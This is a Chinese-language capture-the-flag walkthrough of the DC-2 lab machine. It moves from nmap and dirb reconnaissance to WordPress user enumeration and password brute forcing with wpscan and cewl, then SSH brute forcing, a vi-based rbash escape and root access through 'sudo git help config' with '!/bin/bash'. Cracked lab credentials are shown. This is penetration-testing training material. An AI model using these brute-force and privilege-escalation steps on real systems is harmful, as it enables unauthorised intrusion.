DC-2靶场渗透实战练习

dc-2靶机下载地址:http://www.five86.com/downloads/DC-2.zip
本次使用到的环境:

  • VMware15.5
  • finalshell
  • kali-linux-2022.4
  • dc-2.ova

信息搜集

首先确认自己kali的ip
本次实验靶场和kali是在同一内网下

nmap扫描

使用nmap扫描来发现靶场主机

nmap -T4 -sS 192.168.0.0/24 
#"*"也可以

发现DC-2的靶场主机IP为192.168.0.141
在这里插入图片描述
使用更多参数进行针对性的扫描,获取详细信息

nmap -T4 -sN -p- -A 192.168.0.141

这里发现两个端口http:80,ssh:7744看来ssh端口被更改过
其他信息暂时没有太大价值

在这里插入图片描述

DNS配置

使用浏览器访问发现会强制域名解析,无法直接访问
需要手动配置本地的DNS配置文件
在这里插入图片描述

liunx本地DNS配置文件在 etc/hosts
windows本地DNS配置文件在C:\Windows\System32\drivers\etc\hosts

在本地文件添加DNS信息

IP  dc-2

如图
在这里插入图片描述
在这里插入图片描述
配置并保存后再次访问即可
在这里插入图片描述

web目录扫描

可以正常访问后先扫描web目录

dirb http://dc-2/

发现存在管理员登陆页面
在这里插入图片描述
根据路径文件名特征可以判断该web站点CMS为wordpress
同时wappalyzer插件也确认这一点
在这里插入图片描述

flag-1

进入首页后发现flag1
提示我们可以爆破,但需要搞特殊字典
在这里插入图片描述

制作字典

使用wpscan枚举出用户名

wpscan --url http://dc-2 -e u

发现三个用户,将用户名保存在一个文本中作为用户名字典

admin
jerry
tom

在这里插入图片描述
下面制作密码字典
首先创建一个文本来保存生成的密码字典
使用cewl工具爬取网站特征,生成特征字典

cewl http://dc-2 -w /home/dc_2_wppassword.txt

在这里插入图片描述

web渗透阶段

登录爆破

在完成账户名和密码的字典后使用wpscan自带的功能进行爆破

wpscan --url http://dc-2 -U 用户名字典 -P 密码字典

在这里插入图片描述
爆破得到了tom,jerry的账户名和密码

jerry/adipiscing
tom/parturient

在这里插入图片描述
下面访问登陆页面登陆账户
这里登录发现jerry的账户中存在flag-2
在这里插入图片描述

flag-2

在这里插入图片描述
在这里插入图片描述
根据flag2的提示,我们需要换个方向搞

主机渗透阶段

远程登录

之前查到两个端口80&7744
7744为被修改后ssh端口
使用九头蛇对7744端口爆破得到了tom用户的连接密码,与前端登录密码一致
尝试使用前端账户进行连接一下
在这里插入图片描述

成功连接并发现flag-3
在这里插入图片描述
但是tom的shell是受限的rbash,权限极低很多命令无法执行
在这里插入图片描述
在这里插入图片描述
查询目前可以使用的命令,发现vi可以查看flag-3的内容

compgen -c

在这里插入图片描述

flag-3
vi flag3.txt

在这里插入图片描述
在这里插入图片描述
这里提示我们找jerry

rbash逃逸

前提是我们要绕过当前的rbash限制
使用vi 设置shell解释器来实现rbash逃逸
在vi打开的flag3.txt运行下行命令

:set shell=/bin/bash
#回车,接着写
:shell

在这里插入图片描述
在这里插入图片描述
可以发现当前提示从rbash变为bash
rbash逃逸完成后即可访问jerry目录发现flag4
在这里插入图片描述
cat在bash中是可以使用的
在这里需要配置一下环境变量即可使用

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
flag-4

在这里插入图片描述
在这里插入图片描述
flag4内容是对jerry角色说的,暗示咱们要切换jerry用户完成后续操作
使用之前爆出来的密码直接切换即可

su jerry
adipiscing

在这里插入图片描述

提权

flag4文中提到git,暗示使用git提权
对root用户进行提权
先查看当前jerry账户有哪些工具可以用来提权

sudo -l

发现jerry用户在sudoers文件中被授权执行的命令。
其中git命令可以免验证的情况下借用root权限执行,满足git越权的条件。

sudoers文件定义了哪些用户可以以root权限或其他特定用户权限执行命令

在这里插入图片描述

sudo git help config
!/bin/bash

在这里插入图片描述

  • 在Linux中,sudo git help config命令用于获取Git的配置相关帮助信息。
  • 通过在git命令之前添加sudo,可以以root权限运行Git命令。
  • help是Git的内置命令,用于获取指定命令的帮助文档。
  • config是Git的一个重要命令,用于配置Git的各种设置,例如用户名、邮箱、编辑器等。
  • sudo git help config命令将以root权限显示有关Git配置命令(config)的帮助文档

在这里指定bash为解释器来达到通过执行git工具将shell由jerry切换为root
从而达到提权的效果
在这里插入图片描述

在拿到root权限后在root文件夹内即可得到final-flag

final-flag

在这里插入图片描述

考察点

cewl使用
wpscan使用
liunx环境变量配置
rbash逃逸
git提权

  • cewl
    爬取网站特征生成字典
cewl URL -w 文本字典
  • wpscan
    针对wordpress框架进行渗透的工具
wpscan --url URL -e -u
#-e表示枚举类型,u表示用户名。这两个配合使用是枚举用户名 
wpscan --url URL -U 用户名字典 -P 密码字典
#爆破账户
  • liunx环境变量配置
    liunx解释器功能支持配置,管理基础的shell权限分配
export PATH=$PATH:路径
#常用基础命令路径:/bin/,/usr/bin/
  • rbash逃逸

rbash是在bash基础上被设置限制的shell,一般权限极低
遇到rbash首先需要判断shell可执行命令数量来判断有效的逃逸方法
本次使用vi来set shell从而绕过rbash

  • git提权

git提权的前置条件为:

  1. git工具具有sudo权限
  2. 当前shell为sh或bash
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值